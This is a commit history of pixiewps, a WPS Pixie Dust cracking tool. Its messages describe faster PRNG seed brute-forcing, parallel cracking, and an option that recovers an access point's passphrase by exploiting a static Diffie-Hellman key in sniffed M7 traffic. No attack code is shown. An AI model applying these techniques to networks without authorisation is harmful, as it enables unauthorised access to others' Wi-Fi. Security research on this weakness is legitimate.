Compare commits

...

236 Commits

Author SHA1 Message Date
Victor Golovanenko
464326fbcc Update gitignore: add pixiewrapper binary 2020-11-08 12:58:38 +00:00
rofl0r
85af251806 remove gmtime()-related code duplication 2020-10-20 01:44:56 +01:00
rofl0r
c1dd3a9ff6 use gmtime_r() to mute code analysis tools (gmtime() is non-mt-safe) 2020-10-20 01:28:21 +01:00
rofl0r
a6b3fa514c add pixiewrapper
a small tool to be used as a frontend to pixiewps to do a smart series of
short timespan checks when the initial run fails, before finally doing a
full --force run.

additionally, it supports an option -u where the caller can pass the timestamp
contained in the AP's last beacon packet before the attack, which practically
gives us already the exact seed when we guess the router reset date correctly.
theoretically, we could just pass a range of ~60 seconds around the guessed
date and would hit it with huge likelyhood. however pixiewps needs a relatively
big amount of time to get the cracking started, so effectively the amount of
time needed to scan for a whole month isn't much longer than for a few seconds.
a future version of reaver might automatically supply that uptime timestamp.

in my personal setup, i renamed the pixiewps binary to pixie-core, and compile
the program with the CPPFLAGS=-DPIXIE_BIN=\"pixie-core\", then rename pixie-
wrapper to pixiewps itself, so this is what gets called by reaver.
2019-10-30 00:00:04 +00:00
rofl0r
8964527b85 add --cstart/cend switches for time_t range 2019-10-29 20:23:22 +00:00
rofl0r
9e5bdc6c86 endianeness.h: fix logical bug which broke big endian
due to usage of ifdef where if was due, the little endian branch was
always taken, since the macro ENDIANNESS_LE is *defined*, but set to 0.
2018-03-19 20:00:25 +00:00
wiire-a
28f68e694b Bumped version to 1.4.2 2018-01-25 22:05:41 +01:00
wiire-a
706f3baba9 Fixed logic when nonce seed is found but pin is not
The logic should be rewritten in a better way. This is a quick fix before the next release.
2018-01-23 17:52:32 +01:00
wiire-a
ec3c4ca567 Removed old wpa_supplicant defines 2018-01-22 18:16:35 +01:00
wiire-a
d73d93656e Updated CHANGELOG 2018-01-21 21:40:17 +01:00
wiire-a
b0b7dbb888 Added another comment on the modulo trick 2018-01-12 15:23:13 +01:00
wiire-a
c44ce9e923 Give possibility to make glibc PRNG work for every seed
Because of the modulo trick the current glibc PRNG version doesn't work for seed == 0x7fffffff or seed == 0xfffffffe.

The former is used only if the user specifically uses --start / --end 02/2038. The latter is never used as negative values are not legal for time.

In any case a compilation guard (PWPS_UNERRING) has been added for correctness to make the PRNG spit correct values even for those 2 seeds.
2018-01-11 23:31:50 +01:00
wiire-a
0584a78d9b Fixed issue with previous changes in glibc PRNG
With the previous changes the PRNG was faster but didn't work on all instances.
2018-01-11 15:23:16 +01:00
wiire-a
7acd739002 Finished integrating new glibc PRNG code and further optimizations
On my laptop the difference with these new changes, compared to the older code is more than 4x faster. The code was tested on ~10 different data sets and seems to work fine.
2018-01-10 16:00:54 +01:00
wiire-a
7738fda7d8 Improvement in glibc PRNG cracking
The code is based on a precomputed initial seed table, instead of re-seeding from scratch everytime the whole state. On my x86 test machine this new code seems to be ~60% faster.

Some further testing and tuning may be needed.

Credits to @1yura.
2018-01-09 20:33:23 +01:00
wiire-a
c14f1227af Fixed another redefinition of ulong64
This one was caught only after testing on FreeBSD.
2018-01-06 21:07:00 +01:00
wiire-a
d6de90fb18 Fixed unused variable warning in tomsfastmath 2018-01-06 20:35:07 +01:00
wiire-a
0d600e1600 Commented unused function 2018-01-06 20:24:26 +01:00
wiire-a
61e73e5703 Fixed redefinition of type ulong64 in tomcrypt 2018-01-06 20:21:43 +01:00
wiire-a
ce5d96b661 Added casts to correct types when printing elapsed time
This fixes a warning on macOS due to tv_usec being of type int32_t.
2018-01-06 18:23:20 +01:00
wiire-a
f8c295c5b5 Removed unused tomcrypt headers 2018-01-06 16:53:09 +01:00
wiire-a
65dd9975da Properly removed tomcrypt LTC_ARGCHK via config macro
This way <signal.h> doesn't get included and (hopefully) the program compiles on macOS without _DARWIN_C_SOURCE.
2018-01-06 16:01:31 +01:00
wiire-a
838f69d1e1 Removed contributing message for some data sets 2018-01-06 11:36:54 +01:00
wiire-a
b570608250 Added missing objects to Makefile clean 2018-01-03 21:30:23 +01:00
wiire-a
1ddc765477 Revert "build tomcrypt sha256 code as separate object"
This reverts commit e552d93a50a25e902dc6b44d29f174fd9a8671bb.

Usign GCC version 5.4.0 20160609 the code was 3 times slower (probably due to missing inlining and other optimizations). The binary was also >15kB bigger.
2018-01-03 21:13:00 +01:00
wiire-a
8cce17630d Updated README 2018-01-03 17:24:55 +01:00
rofl0r
e552d93a50 build tomcrypt sha256 code as separate object 2018-01-03 16:55:20 +01:00
rofl0r
fffb4eeea0 use aes cbc code from tomcrypt 2018-01-03 16:55:20 +01:00
rofl0r
e9ed76bd49 use tomcrypt for sha256 2018-01-03 16:55:20 +01:00
wiire-a
dbb70b14be Removed Android.mk
The standard Makefile can be used for cross-compilation anyway.
2018-01-03 15:21:02 +01:00
wiire-a
9e7ba19ee9 Removed useless include
Not needed anymore since we've moved away from libtommath.c.
2018-01-01 17:36:18 +01:00
rofl0r
a07ebfb376 tomsfastmath: further size optimizations
sources list created via

    make clean ; make CC=gcc LDFLAGS="-Wl,--gc-sections" CFLAGS="-O -ffunction-sections"
    readelf -a pixiewps | grep '\.c' | awk '{print "./" $8 " \\"}' > tfm_used.txt

and some manual cleanups.
2018-01-01 17:26:55 +01:00
rofl0r
2b229ba129 tomsfastmath: prefer size over speed
we can disable highly optimized mul/sqr operations for about 30% speed
decrease but saving a lot in binary size.
only build the files necessary by including an explicit list of filenames
rather than doing a wildcard over tfm/*.c.
2018-01-01 17:26:55 +01:00
rofl0r
6985cff7b5 tomfastmath: fix compile with tinycc
compiling with tinycc, we get:

fp_montgomery_reduce.c:510: error: invalid clobber register '%rax'

disabling asm pulls in a couple new files, adding them too.
2018-01-01 17:26:55 +01:00
rofl0r
d8e7bba357 use tomsfastmath instead of tommath hack from wpa_supplicant
using latest git version from https://github.com/libtom/tomsfastmath
2018-01-01 17:26:55 +01:00
wiire-a
7576a68717 Fixed UB due to int promotion before shifting of u8 values
Added casts to u32 for 'rcons' and 'Td4s' which are of type uint8_t*, so their elements, before being shifted, are promoted to int (not to unsigned int) unless explicitly casted, due to integer promotion rules of the C language.

This caused the "left shift of * by 24 places cannot be represented in type 'int'" error when compiling with GCC's -fsanitize=undefined.

The code is from an old version of wpa_supplicant/hostapd.
2017-12-31 12:43:24 +01:00
wiire-a
6438a9cf29 Fixed struct ie_vtag misalignment access due to not packed struct
This struct must be packed (no padding).

Found with GCC's -fsanitize=undefined.
2017-12-31 11:37:59 +01:00
wiire-a
2fd91f919c Removed typedef with _t suffix
*_t naming convention is reserved for POSIX types
2017-12-31 10:34:53 +01:00
wiire-a
07392b96fd Simplified internal logic on supplied args
Also added possibility to avoid --authkey if known static PKe is used, in which case --r-nonce and --e-bssid must be supplied.
2017-12-30 21:11:10 +01:00
wiire-a
2c8bf618b6 Fixed segfault when -a is not supplied
This is a quick fix. The code should be refactored and the logic adjusted.
2017-12-30 18:01:27 +01:00
wiire-a
9304e82888 Fixed leak if one hash is not supplied 2017-12-30 14:32:59 +01:00
wiire-a
68f72d5d18 Updated .gitignore 2017-12-27 12:30:38 +01:00
wiire-a
5670f8ce0e Use internal flags in Makefile
So one can safely override CFLAGS, CPPFLAGS and LDFLAGS

E.g. make CFLAGS=-Os OPENSSL=1
2017-12-27 12:25:58 +01:00
wiire-a
a2f11824bc Updated Makefile 2017-12-27 12:20:59 +01:00
wiire-a
d95bf76f33 Removed boilerplate from mbedtls sources 2017-12-27 11:57:31 +01:00
wiire-a
9a69827c41 Fixed broken links in README 2017-12-26 11:09:06 +01:00
wiire-a
80d8d4cae5 Updated README 2017-12-26 11:04:03 +01:00
wiire-a
fa4b514369 Moved Makefile to top dir
Also added the installation of the man page.
2017-12-24 16:05:29 +00:00
wiire-a
7ae30e8a08 Removed useless check for PKe 2017-12-23 20:04:08 +01:00
wiire-a
a52de0d335 Cosmetic changes 2017-12-23 20:00:16 +01:00
wiire-a
a55f17b77a Removed useless constant 2017-12-23 17:06:06 +01:00
wiire-a
35b3fb030f Always recover N1 seed for mode 1
It's basically costless anyway.
2017-12-23 16:38:25 +01:00
wiire-a
9766d03983 Renamed function 2017-12-22 12:20:25 +01:00
wiire-a
801f1b1605 Get elapsed time in a proper way 2017-12-22 12:04:11 +01:00
wiire-a
58e04d5aa0 Removed useless RT bruteforce
No need to bruteforce the nonce to get the LFSR state.

Credits to @1yura.
2017-12-21 20:27:27 +01:00
wiire-a
77fde24c14 Small performance improvement on MIPS 2017-12-20 22:16:21 +01:00
wiire-a
da5f0f436f Removed uninstall target from Makefile 2017-12-20 19:16:36 +01:00
wiire-a
8807357127 Cosmetic changes 2017-12-20 19:15:07 +01:00
wiire-a
0eb8050d6c Reorganized auto mode logic 2017-12-20 12:32:40 +01:00
wiire-a
57e3309cfe Fixed wrong termination condition with mode 2 2017-12-19 23:48:08 +01:00
wiire-a
6e60c990f5 Removed redundant check for PIN found 2017-12-19 19:46:42 +01:00
wiire-a
86292d5f89 Removed unnecessary check for Enrollee nonce 2017-12-19 19:38:49 +01:00
wiire-a
fb139003e9 Updated CHANGELOG 2017-12-07 16:59:41 +01:00
wiire-a
d4562fe424 Fixed display of seeds for mode 3
The seeds were always printed even if there wasn't need to bruteforce
the state of the PRNG:

[*] Seed N1:  0 (01/01/70 00:00:00 UTC)
[*] Seed
ES1: 0 (01/01/70 00:00:00 UTC)
[*] Seed ES2: 0 (01/01/70 00:00:00
UTC)

Correct:

[*] Seed N1:  -
[*] Seed ES1: -
[*] Seed ES2:
-

Introduced in (6082da8).
2017-12-07 14:01:07 +01:00
wiire-a
19def8c4d8 Removed OpenWrt Makefile
The package is now available in the official OpenWrt repository.
2017-12-05 11:46:38 +01:00
wiire-a
d6e760af7b Bumped version to 1.4.1 2017-12-04 14:11:31 +01:00
rofl0r
ef28cc6331 fix segfault in -7 mode
regression since ef4eaffd57d939f49d2b0c02506872278baf039c
found by @binarymaster
2017-12-04 13:07:11 +01:00
wiire-a
cb38f8f97c Bumped version to 1.4 2017-12-04 00:18:16 +01:00
wiire-a
72de3759ed Fixed compilation on FreeBSD and macOS 2017-12-03 23:42:40 +01:00
wiire-a
fd21867311 Cosmetic changes 2017-12-03 21:18:02 +01:00
wiire-a
3d4d56ed0b Fixed Makefile install 2017-12-03 21:06:38 +01:00
wiire-a
267d1fbabc Changed install PREFIX to /usr/local 2017-12-03 21:05:23 +01:00
wiire-a
0faeec22c5 Fixed more warnings 2017-12-03 15:39:39 +01:00
wiire-a
a8223acb31 Added missing free 2017-12-03 15:21:23 +01:00
wiire-a
533070ae47 Fixed a few warnings 2017-12-03 15:02:19 +01:00
wiire-a
d6dab00354 Updated CHANGELOG 2017-12-02 12:58:27 +01:00
wiire-a
65eb2788a8 Added CHANGELOG 2017-12-02 01:41:12 +01:00
wiire-a
6040be0b0a Updated README 2017-12-02 01:30:31 +01:00
wiire-a
dfdc7c7717 Performance improvements in new PRNG 2017-12-02 01:19:18 +01:00
wiire-a
3cd589c641 Removed useless if statement 2017-12-01 14:46:41 +01:00
rofl0r
8c6e943bec
beautify README markup for openssl build 2017-11-30 22:19:22 +00:00
wiire-a
9d796f81ab Print all debug info on stdout 2017-11-30 19:30:20 +01:00
wiire-a
2e2f05ac0e Deprecated option -l 2017-11-30 19:19:36 +01:00
rofl0r
2a24083f33 improve hmac_sha256 cracking speed and re-add option openssl support 2017-11-30 17:20:01 +01:00
wiire-a
5bf902b187 Fixed UB in the new PRNG due to int overflow 2017-11-30 15:48:46 +01:00
wiire-a
feeb389017 Got rid of some warnings 2017-11-30 12:04:33 +01:00
wiire-a
8de0422164 Made static more functions in main file 2017-11-30 11:31:52 +01:00
wiire-a
d73b71803a Added more useful debugging prints 2017-11-30 11:19:58 +01:00
rofl0r
cf25128e28 fix display of psk for null pin 2017-11-30 01:04:17 +01:00
rofl0r
189a51b6fd whitespace cleanup
fix whitespace errors introduced during refactoring.
2017-11-30 01:04:17 +01:00
rofl0r
bb5c1d1d5f implement parallel search of es1 nonce for RTL
each thread searches 1 seed forward, then 1 seed backwards in time.
the main thread handles the case seed enonce==seed es1.
2017-11-30 01:04:17 +01:00
rofl0r
226c2deb39 prepare find_rtl_es for threadsafe usage 2017-11-30 01:04:17 +01:00
rofl0r
94d6dddc26 fix wrong display of seed for es2 2017-11-29 23:06:48 +00:00
rofl0r
0591369505 find_rtl_es: speed up search by cracking es1 and es2 independently 2017-11-29 21:01:44 +01:00
rofl0r
9d59eda03b refactor crack() to crack each half separately 2017-11-29 21:01:44 +01:00
rofl0r
5e4d55f55f remove anylength code temporarily from crack()
in preparation of refactoring it to support usage with search for
only one half.

thankfully @binarymaster agreed to re-add it after the refactoring.
2017-11-29 21:01:44 +01:00
rofl0r
c673bedd76 factor pin half checks ouf of crack()
maybe due to adding the const to the function params, a small speedup
was noticed on a 8x4Ghz box, searching an empty pin example during
one month now takes 3.9 secs, before this change 4.1 (averages).
2017-11-29 18:15:38 +01:00
rofl0r
ef4eaffd57 calculate hmac_sha256 for empty pin only once
since crack() can be called thousands of times, dont waste cpu for
calculating the empty pin over and over again.
2017-11-29 17:22:58 +01:00
rofl0r
707894f2f1 remove dynamic allocation from crack() - simplifies code a lot
it's just a couple hundred bytes, less than half a KB anyway - using
malloc there was overkill and had huge error-handling overhead.
2017-11-29 17:22:58 +01:00
rofl0r
c3fc4a81a0 find_rtl_es(): remove duplicated code
the code was copy/pasted twice, with the only difference being the
direction of the iteration.
care has been taken not to change the existing logic, even though
it appears it could be simplified further in the added conditional
where i + 1 is added to es1 in one case, and es2 in the other.
2017-11-29 15:03:03 +01:00
rofl0r
f2490d219b fix DEBUG macros to be usable like a generic function call
the macros were broken for use in a context like

if(foo) DEBUG_XXX(); else DEBUG_XXX();

since multiple statements were executed.
2017-11-29 15:03:03 +01:00
wiire-a
efd4c4427a
Merge pull request #73 from rofl0r/refact
Factor out code searching RTL es1 and es2 nonces
2017-11-28 21:46:16 +01:00
rofl0r
7725967026 factor out code searching RTL es1 and es2 nonces 2017-11-28 20:44:29 +00:00
wiire-a
e3917d2c83 Updated endianness.h 2017-11-26 16:50:30 +01:00
wiire-a
0c9f51e171 Added contributing message 2017-11-26 12:42:27 +01:00
wiire-a
73a884fbd3 Fixed assignment in conditional expression 2017-11-26 11:39:35 +01:00
wiire-a
ff0beef1b2 Updated usage, deprecated -S 2017-11-25 21:55:24 +01:00
wiire-a
d29099449e Removed print of N1 if not found 2017-11-25 21:10:47 +01:00
wiire-a
c7a237e3a2 Added .gitignore 2017-11-25 17:33:08 +01:00
wiire-a
962383d50e Updated README 2017-11-25 13:05:45 +01:00
wiire-a
462cf4e1d3 Updated man page 2017-11-24 19:40:49 +01:00
wiire-a
f734149af2 Switched to compile-time endianness detection 2017-11-24 18:48:40 +01:00
wiire-a
ee43785c68 Adopted consistent code style 2017-11-23 20:04:07 +01:00
wiire-a
fd6f4a28e2
Merge pull request #68 from binarymaster/master
Allow to set seed up to 0x7FFFFFFF
2017-11-22 19:50:28 +01:00
Stas'M
5159a6971b Allow to set seed end to 0x7FFFFFFF 2017-11-22 21:48:16 +03:00
wiire-a
b8c4636d98 Fixed #67
Fixed issue of non-termination when using 01/1970 (Unix epoch -> 0) as
ending point on Windows.

Thanks to @rofl0r for fixing it.
2017-11-19 16:17:57 +01:00
wiire-a
6082da892b Added print of every seed in every mode 2017-11-19 12:17:23 +01:00
wiire-a
455ccbae9c Fixed wrong type variable 2017-11-19 12:15:42 +01:00
wiire-a
249ed725b9 Updated README 2017-11-18 23:36:00 +01:00
wiire-a
e1f3bbe466 Updated man page 2017-11-18 23:35:16 +01:00
wiire-a
c21e8b061c Fixed new PRNG false positive issue 2017-11-18 23:33:09 +01:00
rofl0r
7db5fd84f9 implement parallel cracking for ralink
since we already had realtek parallelized, let's do the same for
ralink too.

this commit is the result of a collaborative effort between
@wiire-a and myself.
2017-11-18 22:35:26 +00:00
wiire-a
14ad43fa6d Added crack of pin with -7
The two hashes (-s and -z) and -5 must be supplied.
2017-11-16 22:24:13 +01:00
wiire-a
7474c547eb Shrunk output format
The output has been shrunk to fit in 80 columns. To do so the colon ':'
has been removed as a byte separator. Moreover, some names (mostly the
keys), have been shortened. The WPS pin tag has been left unchanged
(except for a couple of spaces in between).
2017-11-16 22:21:06 +01:00
wiire-a
06ce5c870c Fixed redundant memcpy of E-S1 and E-S2 2017-11-16 14:43:27 +01:00
wiire-a
edd5d30b4c Added another simpler glibc PRNG
With these changes I was able to get a 9% increase in speed on my
laptop.
2017-11-16 14:38:45 +01:00
wiire-a
ceea7143cb Implemented faster glibc random function
The glibc random function has been rewritten is a simpler manner which
should make it faster to execute. Possibly up to a x2 increase in speed.
2017-11-15 19:14:28 +01:00
wiire-a
8b7b4b3172 Updated copyright information 2017-11-15 19:06:56 +01:00
wiire-a
4109810199 Print program version on stdout
All the other information is still printed on stderr. The idea to print
them on separate streams was to make it easier from wrappers to get the
version discarding all the other information, however this was never the
case until now.
2017-11-15 13:09:25 +01:00
wiire-a
c47b51baf0 Fixed previous commit 2017-11-15 13:02:56 +01:00
wiire-a
e265a62b1d Improved auto mode detection 2017-11-15 13:01:25 +01:00
wiire-a
6bdf8e8f37 Fixed a few warnings
Warnings were found with GCC, Clang and Cppcheck.
2017-11-13 12:23:44 +01:00
wiire-a
81301b7e71 Fixed potential integer overflow
The variable 'i' was of type uint_fast8_t which most compiler typedef as
unsigned char or uint8_t which both (in C99) can hold a number between 0
and 255. This could cause an integer overflow when seed was found in
mode 3 but the the program was unsuccessful to recover the PIN within
the first 255 tries of the first time window set in the future.

This bug was introduced when the constant MODE3_TRIES was increased to
10 minutes (60 * 10 = 600 which is > 255) in commit (d3e4aab).
2017-11-13 11:15:34 +01:00
wiire-a
0b56be18c7
Merge pull request #66 from rofl0r/destdir2
Makefile: add missing DESTDIR
2017-11-11 12:31:05 +01:00
rofl0r
329462e9e8 Makefile: add missing DESTDIR
somehow, this line got overlooked...
2017-11-11 10:48:36 +00:00
wiire-a
0ca5675813 Removed useless headers from random_r.c 2017-11-09 10:23:26 +01:00
wiire-a
d2e7ffaaa1 Removed boilerplate code from random_r.c
Removed all the code non relevant for the current implementation. This
should make a noticeable difference in speed and possibly allow the
compiler to optimize even more.
2017-11-08 21:58:10 +01:00
wiire-a
cb615a1a08 Formatted random_r.c 2017-11-08 21:12:19 +01:00
wiire-a
22f96521fc Switched to stack allocation during multithreading
For better performance.
2017-11-07 21:09:32 +01:00
wiire-a
e760fecda8 Added option -5 and display of secret nonces
This option is used to optionally decrypt ES-1 directly from M5, when
the Enrollee proves to the Registrar to know the PIN. As of right now it
must be used in conjunction with -7. With the introduction of this new
option, the display of ES-2 (and ES-1 when -5 is supplied) has been
added to the output.
2017-11-07 20:53:16 +01:00
wiire-a
60e8db7b93 Fixed random_r redefinition warning
See #64
2017-10-31 14:59:45 +01:00
wiire-a
d3e4aab2e8 Added forward and backward time windows when seed is found (mode 3)
Fixed #63. Added more debug info. Added separate seeds for secret
nonces.
2017-10-31 12:00:54 +01:00
wiire-a
2f1bbbea1d Renamed 'RT/MT' mode to 'RT/MT/CL' 2017-10-29 11:21:40 +01:00
wiire-a
4937d61d40 Fixed CFLAGS typo in Makefile
Introduced in (81d5b4b).
2017-10-25 09:57:00 +02:00
wiire-a
887fbbb33d Merge pull request #62 from rofl0r/makeit
Makefile improvements
2017-10-25 00:15:04 +02:00
rofl0r
c56e689f58 Makefile: use DESTDIR in the conventional way
DESTDIR gets only used in the install target, so prefix doesn't get
cluttered and can be used internally to reference file dependencies.
e.g. if for example a DB would be used, the filename to the DB could
be passed in CPPFLAGS like "-DDBPATH=$(PREFIX)/share/pixiewps.db".
this doesn't happen at the moment, but it's good practice to follow
the conventions.

additionally, remove the "rm" command in the install target - running
`make install` should never ever delete files from user's prefix.
2017-10-24 22:53:29 +01:00
rofl0r
367697a24f Makefile: rename CCFLAGS to CFLAGS
the latter is the standard way of naming it.
it was pretty surprising when doing

    make CFLAGS="-O0 -g"

ended up running `gcc -O0 -g -O3 ...`
2017-10-24 22:44:29 +01:00
wiire-a
2b3dc759f1 Merge pull request #61 from binarymaster/master
Fix compilation in mingw-w64
2017-10-22 14:22:02 +02:00
Stas'M
3fbd36a735 Fix compilation in mingw-w64 2017-10-22 15:17:41 +03:00
wiire-a
e4d1bde5bb Merge pull request #60 from rofl0r/no_attr
Add workaround for mingw toolchains with broken pthread_attr_t support
2017-10-22 13:39:40 +02:00
rofl0r
147a615891 add workaround for mingw toolchains with broken pthread_attr_t support
toolchains from https://sourceforge.net/projects/mingw-w64/ don't
define PTHREAD_STACK_MIN, and when using pthread_attr_t fail due to
internal bugs in their atomics implementation:

   __buildlogicali(_InterlockedAnd, __LONG32, and)
   mingw32/include/psdk_inc/intrin-impl.h:977:1:
   error: static declaration of '_InterlockedAnd' follows non-static declaration

OTOH, they implement pthread support without the need of external DLL's,
so using them might be preferable.
2017-10-22 12:35:37 +01:00
wiire-a
d12f0ea0a2 Added option -7
This option is used to decrypt the field encrypted settings in M7, which
contains the wireless configuration of the AP. This option exploits a
misconfigured crypto library that always generates the same random
number, resulting in always generating the same static Private key (and
Public key). Hence, Diffie-Hellman encryption can be broken and the
passphrase recovered by anyone passively sniffing the air.
2017-10-22 12:04:20 +02:00
wiire-a
9af4c43b73 Added missing frees 2017-10-22 02:45:07 +02:00
wiire-a
537dd74029 Merge pull request #58 from rofl0r/pthread_stack
Set a reasonable stacksize for threads to prevent huge waste with GLIBC
2017-10-15 20:47:17 +02:00
rofl0r
7cad1983da set a reasonable stacksize for threads to prevent huge waste with GLIBC
GLIBC defaults to giving new threads an insanely huge 8MB stack each, which
causes unnecessary memory waste. we set it to a conservative 64KB, even though
we need less than 1KB ourselves, to give sufficient leeway to buffers used
by libc itself when calling out to some of its functions.
2017-10-15 17:53:50 +01:00
wiire-a
6ee757e808 Updated usage screen 2017-10-14 12:03:32 +02:00
wiire-a
7a875fb09d Updated README 2017-10-14 12:01:41 +02:00
wiire-a
7d0f03d400 Changed default behavior to use all cores available
Used workaround to make it compile on Windows with some MinGW
installations
2017-10-14 11:43:10 +02:00
wiire-a
e2f480a900 Added libpthread dependency 2017-10-09 23:53:24 +02:00
wiire-a
4c25e2059d Removed useless C99 compilation guard 2017-10-09 23:47:59 +02:00
wiire-a
f424be2590 Merge pull request #55 from rofl0r/pthreads
Implement -j option for parallel cracks using pthreads
2017-10-09 23:45:14 +02:00
rofl0r
1e69706bb9 fix endless loop when seed wraps around from 0 to 0xffffffff
the issue could be experienced when the full brute-force space
till the unix epoch was searched.

test with: --start 02/1970 --end 01/1970
2017-10-09 22:36:04 +01:00
rofl0r
80f7774e98 implement -j option for parallel cracks using pthreads
a user-defined number of jobs (N) is started, each one is assigned
SECS_PER_JOB_BLOCK seeds to iterate over, after finishing the block
N * SECS_PER_JOB_BLOCK jobs are skipped, and it goes on again.
that way it is assured that more recent seeds get treated first.
in preliminary tests with a seed 2 years ago, using 8 jobs the
cracking time was reduced from 77 to 24 seconds.
it is possible that adjusting SECS_PER_JOB_BLOCK to a higher value
than currently speeds up cracking even more, since there will be
less "interruptions" in the CPUs branch prediction.
2017-10-09 00:07:08 +01:00
wiire-a
cbcbbd143b Changed time span to +-1 day 2017-10-08 18:23:37 +02:00
wiire-a
6c145761c3 Merge pull request #54 from rofl0r/inline
Fix inline so -O0 works too
2017-10-08 16:22:31 +02:00
wiire-a
9f39191ff2 Merge pull request #53 from rofl0r/getopt
Group getopt non-option arguments together for POSIX compat
2017-10-08 16:22:14 +02:00
rofl0r
cd61db2be5 fix inline so -O0 works too 2017-10-08 14:51:21 +01:00
rofl0r
1a395250c6 group getopt non-option arguments together for POSIX compat
for compatibility with POSIX getopt, non-option arguments
should be grouped together, since on the first occurence
of such an argument, it will consider all following arguments
non-option arguments too. this could be an issue with alternative
libc implementations.
2017-10-08 13:39:47 +01:00
wiire-a
3c8daf98df Updated to 1.3 2017-10-07 18:13:10 +02:00
wiire-a
f33dd7a99d Updated to 1.3 2017-10-07 18:11:23 +02:00
wiire-a
5ec1e433aa Merge pull request #49 from binarymaster/master
Add new features
2017-10-07 17:38:25 +02:00
Stas'M
120ed9c8a3 Eliminate warnings, get rid of dynamic pin alloc 2017-10-07 18:34:18 +03:00
binarymaster
85413d0d6e Add full-length brute-force 2017-09-02 13:13:28 +03:00
binarymaster
622b086572 Add option for output file 2017-09-02 09:26:04 +03:00
binarymaster
64ecc3e8c2 Add support for empty string pin 2017-09-01 22:48:18 +03:00
wiire
f723d5017f Added modes 1,2 when mode 3 is detected in auto 2017-02-11 20:28:15 +01:00
wiire
2f12ef5277 Enforced e-nonce mandatory 2017-02-11 20:21:07 +01:00
wiire
fe3bedcb02 Corrected author 2017-02-11 20:17:59 +01:00
wiire
2052795813 Merge pull request #39 from wpa2/patch-1
Update Makefile
2017-02-11 19:31:18 +01:00
wpa2
157cd3d96e Update Makefile 2016-12-25 16:13:54 +02:00
wiire
fd62b81852 Merge pull request #33 from samueloph/master
Changes to makefile
2016-11-03 21:41:31 +01:00
Samuel Henrique
a42a1d21f7 Add manpage 2016-11-03 01:48:13 -02:00
Samuel Henrique
7a90b8e50d Only use optimization CCFLAGS if not set prvlsy 2016-11-02 17:49:50 -02:00
Samuel Henrique
81d5b4bd2a Add flags to debug target 2016-11-02 17:47:56 -02:00
Samuel Henrique
250085102b Remove double PREFIX declaration 2016-11-02 17:46:55 -02:00
Samuel Henrique
d9860f01d1 Add -f parameter to rm on unistall target 2016-11-02 17:46:27 -02:00
Samuel Henrique
867c332755 Remove LOCDIR variable 2016-11-02 17:45:51 -02:00
wiire
953cdd461c Merge pull request #32 from samueloph/master
[src/Makefile] Change paths and add missing flags
2016-10-19 15:31:12 +02:00
Samuel Henrique
520f46d154 Change path and add missing flags
Fix paths and add missing flags: LDFLAGS, CFLAGS and CPPFLAGS.
The authors of this patch are:
Sophie Brun <sophie@freexian.com>,
Samuel Henrique <samueloph@gmail.com>
Gianfranco Costamagna <locutusofborg@debian.org>
2016-10-19 00:06:04 -02:00
wiire
1448fff39f Fixed previous commit 2016-04-27 17:01:34 +02:00
wiire
cfe3d94b46 Added an extra time span of 12 hours when --force is used
See #25
2016-04-25 20:40:39 +02:00
wiire
81f76d7536 Reverted mode 3 check to 1.1
See #25
2016-04-23 13:32:42 +02:00
wiire
7e9d8d73a8 Fixed uninstall target
See #24
2016-04-23 13:14:17 +02:00
wiire
d5a7111097 Fixed $(DESTDIR) used twice in install
See #22
2016-01-07 12:50:23 +01:00
wiire
1c3a7351cc Updated to 1.2.2 2016-01-04 23:08:02 +01:00
wiire
3b468a2672 Fixed minor warning
See #21
2016-01-04 20:35:25 +01:00
wiire
03da4adea5 Important fix for FreeBSD users
See #21
2016-01-04 17:55:00 +01:00
wiire
150f8d9db2 Updated to 1.2.1 2016-01-04 11:16:12 +01:00
wiire
d62d3c1ada Updated README once again 2016-01-04 11:12:53 +01:00
wiire
5876cbe68b Updated README 2016-01-04 10:57:05 +01:00
wiire
c6a393302e Updated README 2016-01-04 10:35:54 +01:00
wiire
93401aa164 Updated copyright and license 2016-01-04 10:32:46 +01:00
wiire
321dca3069 Added .editorconfig to enforce some of the code style 2016-01-04 10:23:57 +01:00
wiire
2ad71b6008 Removed .gitattributes 2016-01-04 10:18:30 +01:00
wiire
54b627d886 Updated verbose help 2016-01-04 10:14:52 +01:00
wiire
324e40c12b Renamed 'RT' mode to 'RT/MT' 2016-01-04 10:12:03 +01:00
wiire
b43bd59129 Fixed format specifier warning on 64 bit architectures 2016-01-04 10:10:17 +01:00
wiire
00e4b59bfb Fixed time conversion issue due to different timezones and DST
Now UTC is used.
2016-01-04 10:05:16 +01:00
wiire
b6ef342b71 Fixed indentation 2016-01-04 09:52:07 +01:00
wiire
1f0fcd2dcd Installation directory changed back to /usr/local/bin
Mac OS X 10.11 El Capitan enforces the use of /usr/local
2015-12-30 21:56:51 +01:00
wiire
64cec59d04 Added memory cleanup in case of bad arguments 2015-12-30 21:50:08 +01:00
wiire
63450d6b2d Fixed stdlib.h rand_r() redefinition issue with Clang 2015-12-12 17:35:55 +01:00
wiire
cd1395eedd Fixed indentation 2015-12-12 17:23:02 +01:00
wiire
9459a7d25f Fixed displayed time issue on Windows 2015-12-11 11:40:15 +01:00
wiire
f76900d9b4 Removed warning flag 2015-12-06 23:25:48 +01:00
wiire
32091e45ee Updated to 1.2
Rewritten main loop. Added more modes, options and help. Removed OpenSSL
dependency. Closed #8, closed #14, closed #18.
2015-12-06 23:22:07 +01:00
wiire
08a78c3c27 Added support for BSD variants 2015-10-15 13:53:04 +02:00
wiire
221c0130b6 Changed license in SPDX form 2015-10-14 10:17:06 +02:00
wiire
6f42dc1279 Unified endian code 2015-10-14 10:12:10 +02:00
wiire
d917f8f940 Added endianness check for Android 2015-08-24 14:08:25 +02:00
wiire
86d6debe3a Removed double inclusion
Forgot to remove in the previous commit (c849ad1).
2015-08-13 18:30:03 +02:00
wiire
c849ad1de4 Fixed redefinition warnings on some compilers 2015-08-13 15:26:24 +02:00
wiire
617193e404 Minor changes 2015-07-31 00:08:04 +02:00
wiire
6471952b3f Fixed compiler linking issue
Closed #9
2015-07-30 22:22:37 +02:00
wiire
0679bbab7b Added removal of pixiewps from old installation directory
The installation directory was
[changed](571f5a55ba)
for OpenWRT compatibility.
2015-06-06 22:53:43 +02:00
wiire
0cf0e7ce82 Fixed #7 2015-06-06 12:33:33 +02:00
wiire
c06bd61cc3 Merge pull request #6 from Marchrius/master
Initial Mac OS X support
2015-06-04 15:12:22 +02:00
Matteo Gaggiano
4fcfe53429 Initial Mac OS X support 2015-06-04 14:32:39 +02:00
wiire
571f5a55ba Added an OpenWRT Makefile
Thanks to datahead.
2015-05-17 17:48:33 +02:00
wiire
